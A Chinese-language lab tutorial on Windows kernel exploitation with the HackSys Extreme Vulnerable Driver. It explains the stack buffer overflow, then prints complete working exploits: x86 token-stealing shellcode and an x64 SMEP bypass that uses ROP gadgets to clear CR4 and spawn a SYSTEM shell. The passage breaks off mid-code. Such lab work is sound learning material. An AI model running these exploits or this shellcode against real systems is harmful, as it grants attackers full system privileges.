0x00 Environment
1.Download OSR Loader 3.0：[OSROnline]http://www.osronline.com/OsrDown.cfm/osrloaderv30.zip?name=osrloaderv30.zip&id=1572.Download HEVD Source Code & HEVD_3.0：[Github]https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/releases/tag/v3.00
搭建Windbg+VMware双机调试环境可参阅[配置WinDbg,调试操作系统(双机调试)]https://d1nn3r.github.io/2019/02/23/windbgConnectVM一文，笔者最终使用环境如下：
•物理机OS：Windows 10 20H2 x64•物理机WinDbg：10.0.17134.1•虚拟机OS：Windows 7 SP1 x86•VMware：VMware Workstation 15 Pro•Visual Studio 2019
0x01 Foundation Knowledge
关于编写驱动程序微软提供[示例]https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver偏简单，故笔者从Github上找到另一[示例]https://gist.github.com/hasherezade/ee1a1914dfa2920c77e82fd52717a8fb。如何安装WDK，创建项目及添加源文件不再赘述，可参阅[微软示例]https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver。驱动程序中源文件代码如下：
// Sample "Hello World" driver// creates a HelloDev, that expects one IOCTL#include <ntddk.h>#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) //#define CTL_CODE(DeviceType, Function, Method, Access) ( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"#define DEV_NAME L"\\Device\\HelloDev"/// <summary>/// IRP Not Implemented Handler/// </summary>/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>/// <param name="Irp">The pointer to IRP</param>/// <returns>NTSTATUS</returns>NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { Irp->IoStatus.Information = 0; Irp->IoStatus.Status = STATUS_NOT_SUPPORTED; UNREFERENCED_PARAMETER(DeviceObject); PAGED_CODE(); // Complete the request IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_NOT_SUPPORTED;}/// <summary>/// IRP Create Close Handler/// </summary>/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>/// <param name="Irp">The pointer to IRP</param>/// <returns>NTSTATUS</returns>NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { Irp->IoStatus.Information = 0; Irp->IoStatus.Status = STATUS_SUCCESS; UNREFERENCED_PARAMETER(DeviceObject); PAGED_CODE(); // Complete the request IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS;}/// <summary>/// IRP Unload Handler/// </summary>/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>/// <returns>NTSTATUS</returns>VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) { UNICODE_STRING DosDeviceName = { 0 }; PAGED_CODE(); RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME); // Delete the symbolic link IoDeleteSymbolicLink(&DosDeviceName); // Delete the device IoDeleteDevice(DriverObject->DeviceObject); DbgPrint("[!] Hello Driver Unloaded\n");}/// <summary>/// IRP Device IoCtl Handler/// </summary>/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>/// <param name="Irp">The pointer to IRP</param>/// <returns>NTSTATUS</returns>NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { ULONG IoControlCode = 0; PIO_STACK_LOCATION IrpSp = NULL; NTSTATUS Status = STATUS_NOT_SUPPORTED; UNREFERENCED_PARAMETER(DeviceObject); PAGED_CODE(); IrpSp = IoGetCurrentIrpStackLocation(Irp); IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; if (IrpSp) { switch (IoControlCode) { case HELLO_DRV_IOCTL: DbgPrint("[< HelloDriver >] Hello from the Driver!\n"); break; default: DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode); Status = STATUS_INVALID_DEVICE_REQUEST; break; } } Irp->IoStatus.Status = Status; Irp->IoStatus.Information = 0; // Complete the request IoCompleteRequest(Irp, IO_NO_INCREMENT); return Status;}NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { UINT32 i = 0; PDEVICE_OBJECT DeviceObject = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; UNICODE_STRING DeviceName, DosDeviceName = { 0 }; UNREFERENCED_PARAMETER(RegistryPath); PAGED_CODE(); RtlInitUnicodeString(&DeviceName, DEV_NAME); RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME); DbgPrint("[*] In DriverEntry\n"); // Create the device Status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject); if (!NT_SUCCESS(Status)) { if (DeviceObject) { // Delete the device IoDeleteDevice(DeviceObject); } DbgPrint("[-] Error Initializing HelloDriver\n"); return Status; } // Assign the IRP handlers for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) { // Disable the Compiler Warning: 28169#pragma warning(push)#pragma warning(disable : 28169) DriverObject->MajorFunction[i] = IrpNotImplementedHandler;#pragma warning(pop) } // Assign the IRP handlers for Create, Close and Device Control DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler; DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler; // Assign the driver Unload routine DriverObject->DriverUnload = IrpUnloadHandler; // Set the flags DeviceObject->Flags |= DO_DIRECT_IO; DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; // Create the symbolic link Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName); // Show the banner DbgPrint("[!] HelloDriver Loaded\n"); return Status;}
禁用Spectre缓解：
图1
修改目标系统版本及平台：
图2
生成后将所有文件复制进虚拟机。尽管微软推荐使用[PnPUtil]https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil进行驱动安装，但其于Win7系统下提供功能极少：
图3
故笔者采用OSRLoader进行驱动安装及启用：
图4
WinDbg中查看，加载成功：
图5
之后编译主程序，其负责向驱动程序发出请求：
// Sample app that talks with the HelloDev (Hello World driver)#include <stdio.h>#include <windows.h>#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)const char kDevName[] = "\\\\.\\HelloDev";HANDLE open_device(const char* device_name){ HANDLE device = CreateFileA(device_name, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL ); return device;}void close_device(HANDLE device){ CloseHandle(device);}BOOL send_ioctl(HANDLE device, DWORD ioctl_code){ //prepare input buffer: DWORD bufSize = 0x4; BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize); //fill the buffer with some content: RtlFillMemory(inBuffer, bufSize, 'A'); DWORD size_returned = 0; BOOL is_ok = DeviceIoControl(device, ioctl_code, inBuffer, bufSize, NULL, //outBuffer -> None 0, //outBuffer size -> 0 &size_returned, NULL ); //release the input bufffer: HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer); return is_ok;}int main(){ HANDLE dev = open_device(kDevName); if (dev == INVALID_HANDLE_VALUE) { printf("Failed!\n"); system("pause"); return -1; } send_ioctl(dev, HELLO_DRV_IOCTL); close_device(dev); system("pause"); return 0;}
编译完成后复制进虚拟机。WinDbg执行ed nt!Kd_Default_Mask 8命令，如此一来便可查看DbgPrint函数输出结果。执行虚拟机中主程序：
图6
下面于WinDbg中查看由主程序DeviceIoControl函数执行到驱动程序IrpDeviceIoCtlHandler函数经过哪些函数。首先于驱动程序IrpDeviceIoCtlHandler函数处设断，虚拟机中执行主程序，成功断下后kb命令输出结果：
00 9998dafc 83e7f593 88593e20 885a5738 885a5738 KMDFHelloWorld!IrpDeviceIoCtlHandler01 9998db14 8407399f 866b0430 885a5738 885a57a8 nt!IofCallDriver+0x6302 9998db34 84076b71 88593e20 866b0430 00000000 nt!IopSynchronousServiceTail+0x1f803 9998dbd0 840bd3f4 88593e20 885a5738 00000000 nt!IopXxxControlFile+0x6aa04 9998dc04 83e861ea 00000020 00000000 00000000 nt!NtDeviceIoControlFile+0x2a05 9998dc04 770a70b4 00000020 00000000 00000000 nt!KiFastCallEntry+0x12a06 0013f9a8 770a5864 752f989d 00000020 00000000 ntdll!KiFastSystemCallRet07 0013f9ac 752f989d 00000020 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc08 0013fa0c 75e1a671 00000020 00222003 001a2630 KernelBase!DeviceIoControl+0xf609 0013fa38 00d21929 00000020 00222003 001a2630 kernel32!DeviceIoControlImplementation+0x80
其中0x00d21929地址对应主程序中cmp esi, esp(call ds:__imp__DeviceIoControl@32下一条指令)：
图7
其传递给KernelBase!DeviceIoControl第二个参数0x00222003即驱动程序IrpDeviceIoCtlHandler函数中switch判断的IoControlCode：
图8
0x02 HEVD—Stack Overflow
首先查看HEVD源码，其源码位于HackSysExtremeVulnerableDriver-3.00\Driver\HEVD目录下。HackSysExtremeVulnerableDriver.c文件与上述部分驱动程序示例结构类似，不再另行赘述。本节对其BufferOverflowStack.c文件：
#include "BufferOverflowStack.h"#ifdef ALLOC_PRAGMA#pragma alloc_text(PAGE, TriggerBufferOverflowStack)#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)#endif // ALLOC_PRAGMA/// <summary>/// Trigger the buffer overflow in Stack Vulnerability/// </summary>/// <param name="UserBuffer">The pointer to user mode buffer</param>/// <param name="Size">Size of the user mode buffer</param>/// <returns>NTSTATUS</returns>__declspec(safebuffers)NTSTATUSTriggerBufferOverflowStack( _In_ PVOID UserBuffer, _In_ SIZE_T Size){ NTSTATUS Status = STATUS_SUCCESS; ULONG KernelBuffer[BUFFER_SIZE] = { 0 }; PAGED_CODE(); __try { // // Verify if the buffer resides in user mode // ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR)); DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer); DbgPrint("[+] UserBuffer Size: 0x%X\n", Size); DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer); DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));#ifdef SECURE // // Secure Note: This is secure because the developer is passing a size // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence, // there will be no overflow // RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));#else DbgPrint("[+] Triggering Buffer Overflow in Stack\n"); // // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability // because the developer is passing the user supplied size directly to // RtlCopyMemory()/memcpy() without validating if the size is greater or // equal to the size of KernelBuffer // RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);#endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status;}/// <summary>/// Buffer Overflow Stack Ioctl Handler/// </summary>/// <param name="Irp">The pointer to IRP</param>/// <param name="IrpSp">The pointer to IO_STACK_LOCATION structure</param>/// <returns>NTSTATUS</returns>NTSTATUS BufferOverflowStackIoctlHandler( _In_ PIRP Irp, _In_ PIO_STACK_LOCATION IrpSp){ SIZE_T Size = 0; PVOID UserBuffer = NULL; NTSTATUS Status = STATUS_UNSUCCESSFUL; UNREFERENCED_PARAMETER(Irp); PAGED_CODE(); UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer; Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength; if (UserBuffer) { Status = TriggerBufferOverflowStack(UserBuffer, Size); } return Status;}
漏洞位于RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);一句，其在复制时使用UserBuffer长度，且未进行校验，如此一来，若UserBuffer长度超过KernelBuffer长度，可造成溢出。KernelBuffer长度在初始化时为0x800：
图9
下面为触发漏洞POC：
#include <stdio.h>#include <windows.h>#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)int main(){ HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL); if (dev == INVALID_HANDLE_VALUE) { printf("Failed!\n"); system("pause"); return -1; } printf("Done! Device Handle:0x%p\n",dev); CHAR* chBuffer; int chBufferLen = 0x824; chBuffer = (CHAR*)malloc(chBufferLen); ZeroMemory(chBuffer, chBufferLen); memset(chBuffer, 0x41, chBufferLen); DWORD size_returned = 0; BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL); CloseHandle(dev); system("pause"); return 0;}
int chBufferLen = 0x824;正好可以覆盖到函数返回地址：
图10
图11
完成覆盖，BSOD：
图12
图13
上述POC仅仅是引发崩溃，下面编写Exp以执行Shellcode。Shellcode如下：
CHAR shellcode[] = "\x60" //pushad "\x31\xc0" //xor eax, eax "\x64\x8b\x80\x24\x01\x00\x00" //mov eax,[fs:eax + 0x124] "\x8b\x40\x50" //mov eax,[eax + 0x50] "\x89\xc1" //mov ecx,eax "\xba\x04\x00\x00\x00" //mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" //mov eax,[eax + 0xb8]<---- "\x2d\xb8\x00\x00\x00" //sub eax,0xb8 | "\x39\x90\xb4\x00\x00\x00" //cmp[eax + 0xb4],edx | "\x75\xed" //jnz -------------------- "\x8b\x90\xf8\x00\x00\x00" //mov edx,[eax + 0xf8] "\x89\x91\xf8\x00\x00\x00" //mov[ecx + 0xf8],edx "\x61" //popad "\x31\xc0" //xor eax,eax "\x5d" //pop ebp "\xc2\x08\x00" //ret 0x8 ;
pushad与popad及后续指令用于恢复执行环境，详见后文。mov eax,[fs:eax + 0x124]功能是获取CurrentThread指针内容，fs:[0]存储的是_KPCR结构：
ntdll!_KPCR +0x000 NtTib : _NT_TIB +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 Used_StackBase : Ptr32 Void +0x008 Spare2 : Ptr32 Void +0x00c TssCopy : Ptr32 Void +0x010 ContextSwitches : Uint4B +0x014 SetMemberCopy : Uint4B +0x018 Used_Self : Ptr32 Void +0x01c SelfPcr : Ptr32 _KPCR +0x020 Prcb : Ptr32 _KPRCB +0x024 Irql : UChar +0x028 IRR : Uint4B +0x02c IrrActive : Uint4B +0x030 IDR : Uint4B +0x034 KdVersionBlock : Ptr32 Void +0x038 IDT : Ptr32 _KIDTENTRY +0x03c GDT : Ptr32 _KGDTENTRY +0x040 TSS : Ptr32 _KTSS +0x044 MajorVersion : Uint2B +0x046 MinorVersion : Uint2B +0x048 SetMember : Uint4B +0x04c StallScaleFactor : Uint4B +0x050 SpareUnused : UChar +0x051 Number : UChar +0x052 Spare0 : UChar +0x053 SecondLevelCacheAssociativity : UChar +0x054 VdmAlert : Uint4B +0x058 KernelReserved : [14] Uint4B +0x090 SecondLevelCacheSize : Uint4B +0x094 HalReserved : [16] Uint4B +0x0d4 InterruptMode : Uint4B +0x0d8 Spare1 : UChar +0x0dc KernelReserved2 : [17] Uint4B +0x120 PrcbData : _KPRCB
其偏移0x120处存储的是_KPRCB：
ntdll!_KPRCB +0x000 MinorVersion : Uint2B +0x002 MajorVersion : Uint2B +0x004 CurrentThread : Ptr32 _KTHREAD +0x008 NextThread : Ptr32 _KTHREAD +0x00c IdleThread : Ptr32 _KTHREAD +0x010 LegacyNumber : UChar +0x011 NestingLevel : UChar +0x012 BuildType : Uint2B +0x014 CpuType : Char +0x015 CpuID : Char +0x016 CpuStep : Uint2B +0x016 CpuStepping : UChar +0x017 CpuModel : UChar +0x018 ProcessorState : _KPROCESSOR_STATE ......
故mov eax,[fs:eax + 0x124]指令中0x124偏移用于获取_KPRCB中CurrentThread指向内容。_KTHREAD偏移0x40处存储的是_KAPC_STATE：
ntdll!_KTHREAD +0x000 Header : _DISPATCHER_HEADER +0x010 CycleTime : Uint8B +0x018 HighCycleTime : Uint4B +0x020 QuantumTarget : Uint8B +0x028 InitialStack : Ptr32 Void +0x02c StackLimit : Ptr32 Void +0x030 KernelStack : Ptr32 Void +0x034 ThreadLock : Uint4B +0x038 WaitRegister : _KWAIT_STATUS_REGISTER +0x039 Running : UChar +0x03a Alerted : [2] UChar +0x03c KernelStackResident : Pos 0, 1 Bit +0x03c ReadyTransition : Pos 1, 1 Bit +0x03c ProcessReadyQueue : Pos 2, 1 Bit +0x03c WaitNext : Pos 3, 1 Bit +0x03c SystemAffinityActive : Pos 4, 1 Bit +0x03c Alertable : Pos 5, 1 Bit +0x03c GdiFlushActive : Pos 6, 1 Bit +0x03c UserStackWalkActive : Pos 7, 1 Bit +0x03c ApcInterruptRequest : Pos 8, 1 Bit +0x03c ForceDeferSchedule : Pos 9, 1 Bit +0x03c QuantumEndMigrate : Pos 10, 1 Bit +0x03c UmsDirectedSwitchEnable : Pos 11, 1 Bit +0x03c TimerActive : Pos 12, 1 Bit +0x03c SystemThread : Pos 13, 1 Bit +0x03c Reserved : Pos 14, 18 Bits +0x03c MiscFlags : Int4B +0x040 ApcState : _KAPC_STATE ......
_KAPC_STATE偏移0x10处存储的是指向_KPROCESS指针：
ntdll!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UChar
而_EPROCESS结构第一项即为_KPROCESS，故获取到指向_KPROCESS指针等同于获取到_EPROCESS地址：
ntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x098 ProcessLock : _EX_PUSH_LOCK +0x0a0 CreateTime : _LARGE_INTEGER +0x0a8 ExitTime : _LARGE_INTEGER +0x0b0 RundownProtect : _EX_RUNDOWN_REF +0x0b4 UniqueProcessId : Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY +0x0c0 ProcessQuotaUsage : [2] Uint4B +0x0c8 ProcessQuotaPeak : [2] Uint4B +0x0d0 CommitCharge : Uint4B +0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK +0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK +0x0dc PeakVirtualSize : Uint4B +0x0e0 VirtualSize : Uint4B +0x0e4 SessionProcessLinks : _LIST_ENTRY +0x0ec DebugPort : Ptr32 Void +0x0f0 ExceptionPortData : Ptr32 Void +0x0f0 ExceptionPortValue : Uint4B +0x0f0 ExceptionPortState : Pos 0, 3 Bits +0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE +0x0f8 Token : _EX_FAST_REF ......
由此mov eax,[eax + 0x50]指令中0x50偏移用于获取_EPROCESS。通过ActiveProcessLinks字段可以实现进程遍历(mov eax,[eax + 0xb8]与sub eax,0xb8)，查找UniqueProcessId字段等于4的进程(System进程PID为4，cmp[eax + 0xb4],edx)。最后通过mov edx,[eax + 0xf8]与mov[ecx + 0xf8],edx两条指令替换Token。
xor eax,eax;pop ebp;retn 8返回STATUS_SUCCESS给IrpDeviceIoCtlHandler函数：
图14
完整Exploit如下：
#include <stdio.h>#include <windows.h>#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)int main(){ HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL); if (dev == INVALID_HANDLE_VALUE) { printf("Failed!\n"); system("pause"); return -1; } printf("Done! Device Handle:0x%p\n",dev); CHAR* chBuffer; int chBufferLen = 0x824; chBuffer = (CHAR*)malloc(chBufferLen); ZeroMemory(chBuffer, chBufferLen); memset(chBuffer, 0x41, chBufferLen-4); CHAR* p =(CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40); ZeroMemory(p, 0x60); __asm { pushad; mov edi, p; mov [edi], 0x60; mov dword ptr [edi + 0x1], 0x8B64C031; mov dword ptr [edi + 0x5], 0x00012480; mov dword ptr [edi + 0x9], 0x50408B00; mov dword ptr [edi + 0xD], 0x04BAC189; mov dword ptr [edi + 0x11], 0x8B000000; mov dword ptr [edi + 0x15], 0x0000B880; mov dword ptr [edi + 0x19], 0x00B82D00; mov dword ptr [edi + 0x1D], 0x90390000; mov dword ptr [edi + 0x21], 0x000000B4; mov dword ptr [edi + 0x25], 0x908BED75; mov dword ptr [edi + 0x29], 0x000000F8; mov dword ptr [edi + 0x2D], 0x00F89189; mov dword ptr [edi + 0x31], 0x31610000; mov dword ptr [edi + 0x35], 0x08C25DC0; mov eax, chBuffer; mov[eax + 0x820], edi; popad; } DWORD size_returned = 0; BOOL is_ok = DeviceIoControl(dev,HEVD_IOCTL_BUFFER_OVERFLOW_STACK,chBuffer,chBufferLen,NULL,0,&size_returned,NULL); CloseHandle(dev); system("cmd.exe"); system("pause"); return 0;}
成功：
图15
0x03 Bypass SMEP & SMAP
SMEP(Supervisor Mode Execution Prevention)由Intel lvy Bridge引入，从Windows 8开始启用该特性，其作用在于禁止RING-0执行用户空间代码，而SMAP(Supervisor Mode Access Prevention)由Intel Broadwell引入，相较SMEP增加读与写保护：
图16
图17
设置SMEP与SMAP位于CR4寄存器中：
图18
本节内容笔者于Windows 10 1709 x64环境中调试完成(Exp并未执行成功，但笔者从中学到如何获取内核基址以及绕过SMEP)，内核版本如下：
Windows 10 Kernel Version 16299 MP (1 procs) Free x64 Built by: 16299.637.amd64fre.rs3_release_svc.180808-1748
查看CR4寄存器内容：
图19
可以看到已启用SMEP。完整Exploit如下(来自[h0mbre's Github]https://github.com/h0mbre/Windows-Exploits/blob/master/Exploit-Code/HEVD/x64_StackOverflow_SMEP_Bypass.cpp)：
#include <iostream>#include <string>#include <Windows.h>using namespace std;#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"#define IOCTL 0x222003typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 0xb} SYSTEM_INFORMATION_CLASS;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength );HANDLE grab_handle() { HANDLE hFile = CreateFileA(DEVICE_NAME, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { cout << "[!] No handle to HackSysExtremeVulnerableDriver" << endl; exit(1); } cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT64)hFile << endl; return hFile;}void send_payload(HANDLE hFile, INT64 kernel_base) { cout << "[>] Allocating RWX shellcode..." << endl; // slightly altered shellcode from // https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c // thank you @Cneelis BYTE shellcode[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR "\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess) "\x4D\x8B\x88\xf0\x02\x00\x00" // mov r9, [r8 + 2f0h] ; ActiveProcessLinks list head "\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list //find_system_proc: "\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId "\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process "\x74\x05" // jz found_system ; Found SYSTEM token "\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer "\xEB\xF1" // jmp find_system_proc ; Loop //found_system: "\x48\x8B\x41\x68" // mov rax, [rcx + 68h] ; Offset from ActiveProcessLinks to Token "\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure "\x49\x89\x80\x58\x03\x00\x00" // mov [r8 + 358h], rax ; Copy SYSTEM token to current process's token "\x48\x83\xC4\x40" // add rsp, 040h "\x48\x31\xF6" // xor rsi, rsi ; Zeroing out rsi register to avoid Crash "\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS "\xc3"; LPVOID shellcode_addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(shellcode_addr, shellcode, sizeof(shellcode)); cout << "[>] Shellcode allocated in userland at: 0x" << (INT64)shellcode_addr << endl; BYTE input_buff[2088] = { 0 }; INT64 pop_rcx_offset = kernel_base + 0x146580; // gadget 1 cout << "[>] POP RCX gadget located at: 0x" << pop_rcx_offset << endl; INT64 rcx_value = 0x70678; // value we want placed in cr4 INT64 mov_cr4_offset = kernel_base + 0x3D6431; // gadget 2 cout << "[>] MOV CR4, RCX gadget located at: 0x" << mov_cr4_offset << endl; memset(input_buff, '\x41', 2056); memcpy(input_buff + 2056, (PINT64)&pop_rcx_offset, 8); // pop rcx memcpy(input_buff + 2064, (PINT64)&rcx_value, 8); // disable SMEP value memcpy(input_buff + 2072, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx memcpy(input_buff + 2080, (PINT64)&shellcode_addr, 8); // shellcode // keep this here for testing so you can see what normal buffers do to subsequent routines // to learn from for execution restoration /* BYTE input_buff[2048] = { 0 }; memset(input_buff, '\x41', 2048); */ cout << "[>] Input buff located at: 0x" << (INT64)&input_buff << endl; DWORD bytes_ret = 0x0; cout << "[>] Sending payload..." << endl; int result = DeviceIoControl(hFile, IOCTL, input_buff, sizeof(input_buff), NULL, 0, &bytes_ret, NULL); if (!result) { cout << "[!] DeviceIoControl failed!" << endl; }}INT64 get_kernel_base() { cout << "[>] Getting kernel base address..." << endl; //https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp //also using the same import technique that @tekwizz123 showed us PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } ULONG len = 0; NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION) VirtualAlloc(NULL, len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); if (status != (NTSTATUS)0x0) { cout << "[!] NtQuerySystemInformation failed!" << endl; exit(1); } PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl; return (INT64)kernelImageBase;}void spawn_shell() { cout << "[>] Spawning nt authority/system shell..." << endl; PROCESS_INFORMATION pi; ZeroMemory(&pi, sizeof(pi)); STARTUPINFOA si; ZeroMemory(&si, sizeof(si)); CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);}int main() { HANDLE hFile = grab_handle(); INT64 kernel_base = get_kernel_base(); send_payload(hFile, kernel_base); spawn_shell();}
其获取内核基址采用NtQuerySystemInformation函数：
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 0xb} SYSTEM_INFORMATION_CLASS;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength );.......INT64 get_kernel_base() { cout << "[>] Getting kernel base address..." << endl; //Get NtQuerySystemInformation Address PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } ULONG len = 0; //Get Buffer Length 